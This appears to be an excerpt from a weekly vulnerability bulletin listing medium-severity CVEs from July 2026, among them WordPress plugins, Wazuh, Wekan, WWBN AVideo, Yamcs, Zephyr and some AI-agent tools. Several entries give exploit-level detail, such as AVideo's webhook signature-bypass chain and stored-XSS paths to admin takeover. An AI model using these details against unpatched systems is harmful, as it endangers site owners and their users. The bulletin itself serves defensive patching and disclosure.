| vowelweb--VW Wedding                                                                                   | Missing Authorization vulnerability in vowelweb VW Wedding vw-wedding allows Exploiting Incorrectly Configured Access Control Security Levels.This issue affects VW Wedding: from n/a through <= 1.3.7.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                 | 2026-07-13 | 5.3        | <a href="#">CVE-2026-57776</a> |
| w3scloud--W3SC Elementor to Zoho CRM                                                                   | The W3SC Elementor to Zoho CRM plugin for WordPress is vulnerable to Cross-Site Request Forgery in all versions up to, and including, 2.2.0. This is due to missing or incorrect nonce validation on the storeInfo function. This makes it possible for unauthenticated attackers to modify the plugin's Zoho CRM integration settings, replacing the configured data center, client ID, client secret, and user email                                                                                                                                                                                                                                                                                                                                                                                                                                  | 2026-07-18 | 4.3        | <a href="#">CVE-2026-9734</a>  |

## Medium Vulnerabilities

| Primary Vendor -- Product                                                               | Description                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    | Published  | CVSS Score | Source & Patch Info            |
|-----------------------------------------------------------------------------------------|------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|------------|------------|--------------------------------|
|                                                                                         | credentials with attacker-controlled values via a forged request granted they can trick a site administrator into performing an action such as clicking on a link.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                             |            |            |                                |
| wazuh--wazuh                                                                            | Wazuh is a free and open source platform used for threat prevention, detection, and response. In versions 3.9.0 and above, prior to 4.14.5, a remote attacker can trigger memory exhaustion in the cluster protocol parser by sending a crafted message header with an arbitrarily large payload length. The length is trusted before authentication/decryption and used directly to allocate memory, allowing unauthenticated denial of service of the cluster service. This issue has been fixed in version 4.14.5.                                                                                                                                                                                                                                                                                                                                                                                                                                                                          | 2026-07-16 | 6.5        | <a href="#">CVE-2026-33754</a> |
| wazuh--wazuh                                                                            | Wazuh is a free and open source platform used for threat prevention, detection, and response. In versions 3.0.0 and above, prior to 4.14.5, a size_t integer underflow in os_crypto/shared/msgs.c:389 allows any enrolled Wazuh agent to crash the wazuh-remoted process on the manager, immediately disconnecting all agents from the manager. A second code path reached by the same underflow may allow heap memory corruption. This issue has been fixed in version 4.14.5.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                | 2026-07-17 | 6.5        | <a href="#">CVE-2026-44251</a> |
| wazuh--wazuh                                                                            | Wazuh is a free and open source platform used for threat prevention, detection, and response. In versions 4.6.0 and above, prior to 4.14.5, a logic error in CheckRateLimitsMiddleware.dispatch() causes the /events endpoint rate check to unconditionally overwrite the general rate limit result. When the global max_request_per_minute is exceeded, requests to /events still succeed if the events-specific counter (hardcoded 30/min) has not been reached. This allows event injection into analysisd beyond the admin-configured global rate limit. This issue has been fixed in version 4.14.5.                                                                                                                                                                                                                                                                                                                                                                                      | 2026-07-16 | 4.3        | <a href="#">CVE-2026-33434</a> |
| wazuh--wazuh                                                                            | Wazuh is a free and open source platform used for threat prevention, detection, and response. Versions 4.6.0 and above prior to 4.14.5 contain a heap-based buffer overflow vulnerability in the syscheck component of the Wazuh agent for Windows. When expanding registry paths containing wildcards (* or ?), the agent allocates a fixed-size heap buffer of 256 bytes (OS_SIZE_256). By creating a registry subkey with a maximum allowed length (255 characters) inside a monitored path, a low-privileged local attacker can force an out-of-bounds write during string concatenation. Since wazuh-agent.exe runs as NT AUTHORITY\SYSTEM, this can lead to a silent Denial of Service (blinding the agent) or potentially Local Privilege Escalation (LPE). This issue has been fixed in version 4.14.5.                                                                                                                                                                                | 2026-07-16 | 4.7        | <a href="#">CVE-2026-40106</a> |
| wcmp--MultiVendorX<br>WooCommerce<br>Multivendor<br>Marketplace AI<br>Powered Solutions | The MultiVendorX - WooCommerce Multivendor Marketplace AI Powered Solutions plugin for WordPress is vulnerable to generic SQL Injection via the 'order_by' parameter in all versions up to, and including, 5.0.9 due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query. This makes it possible for authenticated attackers, with subscriber-level access and above, to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database. This vulnerability is exploitable by any authenticated subscriber-level user when the plugin's store approval setting is configured to automatically approve store owners (described as the default), as this allows any logged-in user to self-register as a store_owner via the public Stores REST endpoint, thereby obtaining the edit_stores capability required to reach the vulnerable transactions endpoint. | 2026-07-16 | 6.5        | <a href="#">CVE-2026-12941</a> |
| wedevs--ERP:<br>Complete HR,<br>Accounting & CRM<br>Suite Built for<br>WooCommerce      | The ERP: Complete HR, Accounting & CRM Suite Built for WooCommerce plugin for WordPress is vulnerable to authorization bypass in all versions up to, and including, 1.17.6. This is due to the plugin not properly verifying that a user is authorized to perform an action. This makes it possible for authenticated attackers, with subscriber-level access and above, to create arbitrary company locations in the ERP database.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            | 2026-07-17 | 4.3        | <a href="#">CVE-2026-15349</a> |
| wekan--wekan                                                                            | Wekan is open source kanban built with Meteor. Prior to 9.32, Wekan REST handlers in server/models/customFields.js use read-level                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              | 2026-07-15 | 6.5        | <a href="#">CVE-2026-52892</a> |

## Medium Vulnerabilities

| Primary Vendor -- Product                                                                      | Description                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        | Published  | CVSS Score | Source & Patch Info            |
|------------------------------------------------------------------------------------------------|--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|------------|------------|--------------------------------|
|                                                                                                | Authentication.checkBoardAccess instead of write-level Authentication.checkBoardWriteAccess for mutating custom-field routes. A read-only board member can call POST, PUT, and DELETE handlers for /api/boards/:boardId/custom-fields and custom-field dropdown items to create, update, or delete board custom fields. This issue is fixed in version 9.32.                                                                                                                                                                                                                                                                                                                                                                                                                                                       |            |            |                                |
| wekan--wekan                                                                                   | Wekan is open source kanban built with Meteor. Prior to 9.35, the Wekan cloneBoard Meteor method in models/import.js uses caller-supplied sourceBoardId to build a board export through models/exporter.js without invoking canExport() or checking source-board membership. Any authenticated user who knows a private board ID can clone the board into their own account and read its cards, comments, attachments, member information, and activities. This issue is fixed in version 9.35.                                                                                                                                                                                                                                                                                                                    | 2026-07-15 | 6.5        | <a href="#">CVE-2026-53447</a> |
| WordPress--WordPress                                                                           | WordPress 6.8.x before 6.8.6, 6.9.x before 6.9.5, and 7.0.x before 7.0.2 does not properly sanitise the author__not_in parameter of WP_Query, which could allow SQL Injection when a plugin or theme passes untrusted input to the parameter.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      | 2026-07-17 | 5.9        | <a href="#">CVE-2026-60137</a> |
| WP Swings--Event Tickets Manager for WooCommerce                                               | Missing Authorization vulnerability in WP Swings Event Tickets Manager for WooCommerce event-tickets-manager-for-woocommerce allows Exploiting Incorrectly Configured Access Control Security Levels.This issue affects Event Tickets Manager for WooCommerce: from n/a through <= 1.5.5.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          | 2026-07-13 | 6.5        | <a href="#">CVE-2026-57400</a> |
| wpdelicious--WP Delicious Recipe Plugin for Food Bloggers (formerly Delicious Recipes)         | The Delicious Recipes plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'steps' block attribute in versions up to, and including, 1.10.2. This is due to insufficient input sanitization and output escaping in the wrap_direction_text() function, which interpolates the user-supplied href value from nested link nodes (\$node['props']['href']) directly into an anchor tag via sprintf() at line 1627 without esc_url() or any URL scheme validation. This makes it possible for authenticated attackers, with Contributor-level access and above, to inject arbitrary web scripts (including javascript: URIs) in pages that will execute whenever a user (such as an editor or administrator previewing the pending post) accesses an injected page and clicks the malicious link. | 2026-07-16 | 6.4        | <a href="#">CVE-2026-15099</a> |
| wpdesk--Flexible Refund and Return Order for WooCommerce                                       | Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in wpdesk Flexible Refund and Return Order for WooCommerce flexible-refund-and-return-order-for-woocommerce allows Stored XSS.This issue affects Flexible Refund and Return Order for WooCommerce: from n/a through <= 1.0.51.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  | 2026-07-13 | 6.5        | <a href="#">CVE-2026-57402</a> |
| wpdevart--Booking calendar, Appointment Booking System                                         | Missing Authorization vulnerability in wpdevart Booking calendar, Appointment Booking System booking-calendar allows Exploiting Incorrectly Configured Access Control Security Levels.This issue affects Booking calendar, Appointment Booking System: from n/a through <= 3.2.36.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                 | 2026-07-13 | 5.3        | <a href="#">CVE-2026-57778</a> |
| WPDeveloper--Better Payment Instant Payments, Donations, Fundraising with Subscriptions & More | Improper Validation of Specified Quantity in Input vulnerability in WPDeveloper Better Payment - Instant Payments, Donations, Fundraising with Subscriptions & More better-payment allows Accessing Functionality Not Properly Constrained by ACLs.This issue affects Better Payment - Instant Payments, Donations, Fundraising with Subscriptions & More: from n/a through <= 2.2.0.                                                                                                                                                                                                                                                                                                                                                                                                                              | 2026-07-13 | 6.5        | <a href="#">CVE-2026-57364</a> |
| WPXPO--WowAddons                                                                               | Missing Authorization vulnerability in WPXPO WowAddons product-addons allows Exploiting Incorrectly Configured Access Control Security Levels.This issue affects WowAddons: from n/a through <= 1.6.8.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                             | 2026-07-13 | 6.5        | <a href="#">CVE-2026-57377</a> |
| WuzhiCMS--WuzhiCMS                                                                             | A flaw has been found in WuzhiCMS up to 4.1.0. Affected by this vulnerability is the function config/listimage of the file /index.php?m=attachment&f=index&v=upload of the component Attachment API. Executing a manipulation can lead to information disclosure. The attack can be launched remotely. The exploit has been                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        | 2026-07-13 | 5.3        | <a href="#">CVE-2026-15530</a> |



## Medium Vulnerabilities

| Primary Vendor -- Product | Description                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                   | Published  | CVSS Score | Source & Patch Info            |
|---------------------------|---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|------------|------------|--------------------------------|
|                           | published and may be used. The project was informed of the problem early through an issue report but has not responded yet.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                   |            |            |                                |
| WWBN--AVideo              | WWBN AVideo is an open source video platform. In versions prior to 29.0, the Authorize.Net webhook handler at plugin/AuthorizeNet/webhook.php contains a signature verification bypass that allows an attacker to forge webhook requests with arbitrary payment amounts and target user IDs. By supplying a valid transaction ID from a small legitimate purchase, the attacker bypasses signature validation and credits arbitrary wallet balances to any user account via attacker-controlled payload fields. Three flaws combine into an exploit chain: signature bypass via OR logic (webhook.php:33), payload values override API-fetched values (AuthorizeNet.php:169-171, webhook.php:44-48) and a missing approval check (webhook.php:61-75). By forging payment metadata, an attacker can credit arbitrary amounts to any user's wallet without a corresponding payment and include a plans_id to activate premium subscriptions (webhook.php:86-134), enabling free access to all paid and premium content and causing direct revenue loss to the platform owner. This issue has been fixed in version 29.0.                                                                                                                                                                                        | 2026-07-16 | 6.5        | <a href="#">CVE-2026-33731</a> |
| WWBN--AVideo              | WWBN AVideo is an open source video platform. Versions prior to 29.0 contain an unauthenticated Reflected XSS vulnerability through AVideo YouTubeAPI Gallery Pagination. The \$_GET['search'] query parameter is concatenated directly into the href attribute of two pagination links in plugin/YouTubeAPI/gallerySection.php (lines 67 and 74) with no htmlspecialchars, no urlencode, and no allow-list check. An injected <script> element is then extracted by the AVideo Layout plugin and concatenated into a single trailing inline script block at the bottom of the page, where the browser executes it. Any unauthenticated attacker can lure a victim into following a crafted URL to execute arbitrary JavaScript under the AVideo origin, which can read non-HttpOnly cookies and issue authenticated AJAX requests as the victim, and when the victim is an administrator, it can perform any cookie-authenticated admin action (create user, promote to admin, change configuration, install plugin), escalating a single click into full administrative takeover. This issue has been patched by this commit: <a href="https://github.com/WWBN/AVideo/commit/f50fc033b7adb36f1ffd6640e7826468bdafdec3">https://github.com/WWBN/AVideo/commit/f50fc033b7adb36f1ffd6640e7826468bdafdec3</a> . | 2026-07-15 | 6.1        | <a href="#">CVE-2026-50182</a> |
| WWBN--AVideo              | WWBN AVideo is an open source video platform. Prior to version 29.0, Privilege Escalation is possible through unguarded permission parameters in signUp API, which allows any user who can solve a CAPTCHA to self-grant elevated permissions during account registration. The set_api_signUp method in the API plugin accepts emailVerified, canUpload, canStream, and canCreateMeet parameters from user-supplied input and applies them to newly created accounts without verifying that the request was authenticated with a valid APISecret. By self-granting account attributes, attackers can mark their own accounts as email-verified without owning the address (bypassing email-gated functionality) and award themselves upload, streaming, and meeting-creation permissions, circumventing administrator access controls that intentionally restrict these capabilities for new users. This issue has been fixed in version 29.0                                                                                                                                                                                                                                                                                                                                                                 | 2026-07-15 | 5.3        | <a href="#">CVE-2026-33684</a> |
| WWBN--AVideo              | WWBN AVideo is an open source video platform. Versions 29.0 and below contain a stored Cross-Site Scripting vulnerability in the YouTubeAPI plugin. The plugin renders the snippet.title field returned by the YouTube Data API into the homepage gallery markup with no HTML encoding. The title is set by the YouTube video uploader (anyone in the world) and is treated by AVideo as trusted content. A YouTube uploader who controls a video matching the operator's configured query injects HTML into the AVideo homepage by setting their video's title to a JavaScript-bearing string; the payload then executes in the browser of every visitor who loads any page that renders the gallery. When the visitor is an AVideo administrator, the injected JavaScript performs any admin action (create user, promote to admin, change configuration, install plugin) that uses cookie-based authentication without an additional CSRF token, escalating the bug into full                                                                                                                                                                                                                                                                                                                              | 2026-07-15 | 4.7        | <a href="#">CVE-2026-50183</a> |

# Medium Vulnerabilities

| Primary Vendor -- Product     | Description                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        | Published  | CVSS Score | Source & Patch Info            |
|-------------------------------|--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|------------|------------|--------------------------------|
|                               | administrative takeover. The payload persists for the duration of cacheTimeout (default 3600 seconds) after the malicious title is set on YouTube and survives YouTube removing the hostile video for the same window. This issue has been addressed by commit <a href="https://github.com/WWBN/AVideo/commit/7292129eae5f609beae103b5cb387d55f17b877">https://github.com/WWBN/AVideo/commit/7292129eae5f609beae103b5cb387d55f17b877</a> .                                                                                                                                                                                                                                                                                                                                                                                                                         |            |            |                                |
| xylus--WP Bulk Delete         | The WP Bulk Delete plugin for WordPress is vulnerable to generic SQL Injection via the 'delete_user_roles' parameter in all versions up to, and including, 1.4.2 due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query. This makes it possible for authenticated attackers, with administrator-level access and above, to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database. wp_unslash() is applied to the raw POST body before parse_str() decomposes it, stripping WordPress magic-quotes protection and leaving attacker-controlled values fully unescaped prior to reaching the SQL sink.                                                                                                                    | 2026-07-16 | 4.9        | <a href="#">CVE-2026-15727</a> |
| yamcs--yamcs                  | Yamcs is a mission control framework. Prior to 5.12.7, the authentication endpoint POST /auth/token in yamcs-core, handled by yamcs-core/src/main/java/org/yamcs/http/auth/AuthHandler.java, lacked any rate limiting, account lockout, or failed-attempt throttling, so an unauthenticated remote attacker could perform unlimited password-guessing attempts against any user account, significantly increasing the risk of successful brute-force attacks. This issue is fixed in versions 5.12.7 and 5.13.0.                                                                                                                                                                                                                                                                                                                                                   | 2026-07-16 | 6.5        | <a href="#">CVE-2026-44596</a> |
| yamcs--yamcs                  | Yamcs is a mission control framework. Prior to 5.12.7, the IAM API endpoints listUsers, getUser, listGroups, and getGroup in yamcs-core did not enforce the required SystemPrivilege.ControlAccess check in yamcs-core/src/main/java/org/yamcs/http/api/IamApi.java, so any authenticated user, even one with low or no privileges, could enumerate all user accounts in the system including their usernames, superuser status, and group memberships. This issue is fixed in versions 5.12.7 and 5.13.0.                                                                                                                                                                                                                                                                                                                                                         | 2026-07-16 | 4.3        | <a href="#">CVE-2026-44595</a> |
| yamcs--yamcs                  | Yamcs is a mission control framework. Prior to 5.12.8 and 5.13.2, the PacketsApi.exportPackets endpoint in yamcs-core/src/main/java/org/yamcs/http/api/PacketsApi.java failed to enforce object-level ReadPacket privileges when a request omitted specific packet names: with an empty name list the ctx.checkObjectPrivileges(ObjectPrivilegeType.ReadPacket, nameSet) call passed over an empty set, no WHERE pname IN filter was applied to the resulting SELECT * FROM tm query, and the onTuple handler streamed every retrieved packet without any per-row authorization check, so a low-privileged or zero-privilege authenticated user could dump the entire raw telemetry packet archive and bypass the role-based access control model. This issue is fixed in versions 5.12.8 and 5.13.2, which enforce per-packet ReadPacket checks in exportPackets. | 2026-07-16 | 4.3        | <a href="#">CVE-2026-55548</a> |
| yashbhalgat--HashNeRF-pytorch | A vulnerability has been found in yashbhalgat HashNeRF-pytorch up to 82885e698295982504eb6a26d060a6b2473e3706. Affected by this issue is the function torch.load of the file run_nerf.py of the component Checkpoint File Handler. The manipulation of the argument ckpt_path leads to deserialization. The attack must be carried out locally. The exploit has been disclosed to the public and may be used. This product uses a rolling release model to deliver continuous updates. As a result, specific version information for affected or updated releases is not available. The pull request to fix this issue awaits acceptance.                                                                                                                                                                                                                          | 2026-07-13 | 5.3        | <a href="#">CVE-2026-15531</a> |
| yzhao062--pyod                | A vulnerability was detected in yzhao062 pyod up to 3.6.1. Affected is the function pyod.utils.persistence.load of the file pyod/utils/persistence.py. Performing a manipulation of the argument path results in deserialization. The attack can be initiated remotely. Upgrading to version 3.6.2 is able to address this issue. It is                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            | 2026-07-13 | 6.3        | <a href="#">CVE-2026-15529</a> |

## Medium Vulnerabilities

| Primary Vendor -- Product            | Description                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                               | Published  | CVSS Score | Source & Patch Info            |
|--------------------------------------|---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|------------|------------|--------------------------------|
|                                      | recommended to apply a patch to fix this issue. The pull request to fix this issue requires some minor changes.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                           |            |            |                                |
| zephyrproject--zephyr                | The CONFIG_USERSPACE verification handler for the k_thread_name_copy() system call (z_vrfy_k_thread_name_copy() in kernel/thread.c) calls k_object_find() on the caller-supplied thread pointer and then dereferences the returned struct k_object without checking it for NULL. k_object_find() returns NULL whenever the supplied pointer is not a registered (static or dynamic) kernel object. The pre-fix guard tested thread == NULL instead of ko == NULL, so an unprivileged user-mode thread that invokes k_thread_name_copy() with any non-NULL but unregistered pointer (e.g. an arbitrary address) passes the NULL test, after which the verifier reads ko->type through a NULL pointer. Because the syscall verifier runs in supervisor mode, this NULL dereference is a kernel-mode fault that halts or reboots the system, allowing untrusted user code to crash the kernel across the userspace security boundary (denial of service). The marshaller passes the thread argument to the verifier without any prior K_SYSCALL_OBJ validation, so the bad pointer reaches the defect directly. The flaw affects builds with CONFIG_USERSPACE and CONFIG_THREAD_NAME enabled and has been present since the special-case lookup was introduced around v2.0.0; it is present in v4.4.0 and earlier. The fix changes the guard to check the k_object_find() return value (ko == NULL) before dereferencing it. | 2026-07-14 | 5.5        | <a href="#">CVE-2026-10670</a> |
| zevorn--rt-claw                      | A security flaw has been discovered in zevorn rt-claw up to 0.2.0. This affects the function tool_run_script_execute of the file claw/services/tools/script.c of the component Telegram-to-AI Tool Execution Flow. Performing a manipulation results in code injection. It is possible to initiate the attack remotely. The exploit has been released to the public and may be used for attacks. The project was informed of the problem early through an issue report but has not responded yet.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                         | 2026-07-19 | 6.3        | <a href="#">CVE-2026-16204</a> |
| zevorn--rt-claw                      | A vulnerability was found in zevorn rt-claw up to 0.2.0. Affected is the function claw_net_get/claw_net_post of the file claw/services/tools/net.c of the component http_request. The manipulation results in information disclosure. The attack can be executed remotely. The exploit has been made public and could be used. The project was informed of the problem early through an issue report but has not responded yet.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                           | 2026-07-19 | 5.3        | <a href="#">CVE-2026-16201</a> |
| zhayujie--chatgpt-on-wechat CowAgent | A security flaw has been discovered in zhayujie chatgpt-on-wechat CowAgent up to 2.1.1. This issue affects the function Vision._download_to_data_url of the file agent/tools/vision/vision.py of the component Vision Tool. Performing a manipulation of the argument image results in server-side request forgery. It is possible to initiate the attack remotely. The exploit has been released to the public and may be used for attacks. Upgrading to version 2.1.2 is capable of addressing this issue. The patch is named e85290cddcbb5ffc9c235927f4c92e5b4c3ec264. The affected component should be upgraded.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      | 2026-07-14 | 6.3        | <a href="#">CVE-2026-15628</a> |
| zhayujie--CowAgent                   | A vulnerability was determined in zhayujie CowAgent up to 2.1.1. This affects the function WebFetch.execute of the file agent/tools/web_fetch/web_fetch.py. Executing a manipulation of the argument url can lead to server-side request forgery. The attack may be performed from remote. The exploit has been publicly disclosed and may be utilized. Upgrading to version 2.1.2 is able to mitigate this issue. This patch is called ea47f3097eed4f8295c4cb3d76ecb97e0f43d632. It is recommended to upgrade the affected component. The vendor was contacted early, responded in a very professional manner and quickly released a fixed version of the affected product.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              | 2026-07-18 | 6.3        | <a href="#">CVE-2026-16194</a> |
| zhinianboke--xianyu-auto-reply       | A vulnerability was determined in zhinianboke xianyu-auto-reply on Server. Affected by this vulnerability is an unknown functionality of the file /api/v1/payment/withdraw/review?action=approve. Executing a manipulation can lead to trusting http permission methods on the server side. The attack may be launched remotely. The exploit has been publicly disclosed and may be utilized.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                             | 2026-07-14 | 5.4        | <a href="#">CVE-2026-15753</a> |

## Medium Vulnerabilities

| Primary Vendor -- Product                                         | Description                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  | Published  | CVSS Score | Source & Patch Info            |
|-------------------------------------------------------------------|------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|------------|------------|--------------------------------|
|                                                                   | This patch is called 19fc3282a1bb78a05c34945c088525d20e081cbd. It is best practice to apply a patch to resolve this issue.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                   |            |            |                                |
| 100plugins--Open User Map                                         | Contributor Cross Site Scripting (XSS) in Open User Map <= 1.4.46 versions.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  | 2026-07-27 | 6.5        | <a href="#">CVE-2026-66445</a> |
| @fastify/forwarded--@fastify/forwarded                            | @fastify/forwarded resolves client addresses from the X-Forwarded-For header. In versions before 3.0.2, when the header contains two or more comma separated entries, the parser trims only space characters and does not strip horizontal tabs, even though RFC 7230 defines optional whitespace as both space and tab. As a result, an entry padded with a tab keeps the literal tab in the resolved address string. Applications that make exact string match security decisions on the resolved client IP, such as an allowlist, a blocklist, a per IP rate limit key, or audit log correlation, can be evaded because the tab corrupted string no longer matches the expected value. This does not cross the trust boundary, since a tab corrupted string is not a valid IP and cannot be mistaken for a trusted proxy. The issue is fixed in @fastify/forwarded 3.0.2. | 2026-07-29 | 5.3        | <a href="#">CVE-2026-18174</a> |
| acacode--swagger-typescript-api                                   | swagger-typescript-api generates API clients for Fetch or Axios from OpenAPI specifications. Prior to 13.12.2, src/resolved-swagger-schema.ts warmUpRemoteSchemasCache resolves external \$ref URLs and fetchRemoteSchemaDocument uses isHttpUrl to fetch any http or https target without private IP, redirect, DNS rebinding, or same-origin validation, allowing an attacker-controlled OpenAPI spec to make the generator issue requests to internal or link-local services. This issue is fixed in version 13.12.2.                                                                                                                                                                                                                                                                                                                                                     | 2026-07-29 | 6.1        | <a href="#">CVE-2026-54663</a> |
| acowebs--Checkout Field Editor for WooCommerce Checkout Manager   | Shop manager Cross Site Scripting (XSS) in Checkout Field Editor for WooCommerce &#8211; Checkout Manager <= 3.0.5 versions.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                 | 2026-07-27 | 5.9        | <a href="#">CVE-2026-66475</a> |
| AcyMailing Newsletter Team--Anti Spam and list cleaner AcyChecker | Unauthenticated Cross Site Scripting (XSS) in Anti Spam and list cleaner &#8211; AcyChecker <= 1.8.1 versions.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                               | 2026-07-27 | 6.5        | <a href="#">CVE-2026-65448</a> |
| adonisjs--http-server                                             | AdonisJS HTTP Server is a package for handling HTTP requests in the AdonisJS framework. In versions 8.0.0-next.0 through 8.2.0 and 9.0.0 through 9.0.2, the error.message is interpolated into the default HTML exception response without escaping, allowing a crafted missing-route URL to execute attacker-controlled JavaScript when a victim opens it and no custom status page or JSON response handles the error. When debug mode is disabled and no custom status page handles the error, the default HTML renderer interpolates error.message directly into an HTML response. This issue is fixed in versions 8.2.1 and 9.1.0.                                                                                                                                                                                                                                      | 2026-07-30 | 6.1        | <a href="#">CVE-2026-61526</a> |
| ads-tec Industrial IT--DVG-IRF1401                                | An unauthenticated remote attacker can abuse the improper validation of the post-login redirect of the web-UI to trick users to a malicious website. This can result in a loss of confidentiality and availability.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          | 2026-07-28 | 6.1        | <a href="#">CVE-2026-14171</a> |
| Alibaba--Alibaba Cloud RDS OpenAPI MCP Server                     | Improper exposure of the MCP server in alibabacloud-rds-openapi-mcp-server allows remote attackers to invoke exposed MCP tools via network access to an MCP endpoint listening on all network interfaces by default.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                         | 2026-07-28 | 5.8        | <a href="#">CVE-2026-9680</a>  |
| ameliabooking--Booking System Trafft                              | The Booking System Trafft plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the `bookingWebsiteUrl` setting in all versions up to, and including, 1.0.17 due to a missing capability check on the `set_options` AJAX action when the plugin is operating in agency mode. The `trafftSetOptions()` handler verifies a nonce that is exposed to any authenticated user (it is printed inline on every admin page, including profile.php) but performs no capability check before calling                                                                                                                                                                                                                                                                                                                                                                   | 2026-07-29 | 6.4        | <a href="#">CVE-2026-8791</a>  |

# Medium Vulnerabilities

| Primary Vendor -- Product                         | Description                                                                                                                                                                                                                                                                                                                                                                                                                                                                                | Published  | CVSS Score | Source & Patch Info            |
|---------------------------------------------------|--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|------------|------------|--------------------------------|
|                                                   | `update_option('trafft_option', ['bookingWebsiteUrl' => ...])`. This setting is then used by `trafftAdminAssets()` to enqueue `<<bookingWebsiteUrl>/embed.js` as a script on every front-end page that renders the booking shortcode. This makes it possible for authenticated attackers, with Subscriber-level access and above, to point the embed-script URL at an attacker-controlled origin and execute arbitrary JavaScript in the browser of every site visitor (including admins). |            |            |                                |
| ANDRITZ--HIPASE-250                               | The HTTP server component of ANDRITZ HIPASE-250 (formerly 250 SCALA) in affected versions exposes an undocumented endpoint that changes the server's logging level and target without requiring authentication. A remote, unauthenticated attacker with network access to the service may suppress audit logging, potentially concealing other activity on the system.                                                                                                                     | 2026-07-31 | 5.3        | <a href="#">CVE-2026-65311</a> |
| Apache Software Foundation--Apache Thrift         | Improper Validation of Certificate with Host Mismatch vulnerability in Apache Thrift Python bindings. This issue affects Apache Thrift: before 0.24.0. Users are recommended to upgrade to version 0.24.0, which fixes the issue. This replaces CVE-2026-41603                                                                                                                                                                                                                             | 2026-07-27 | 5.9        | <a href="#">CVE-2026-66053</a> |
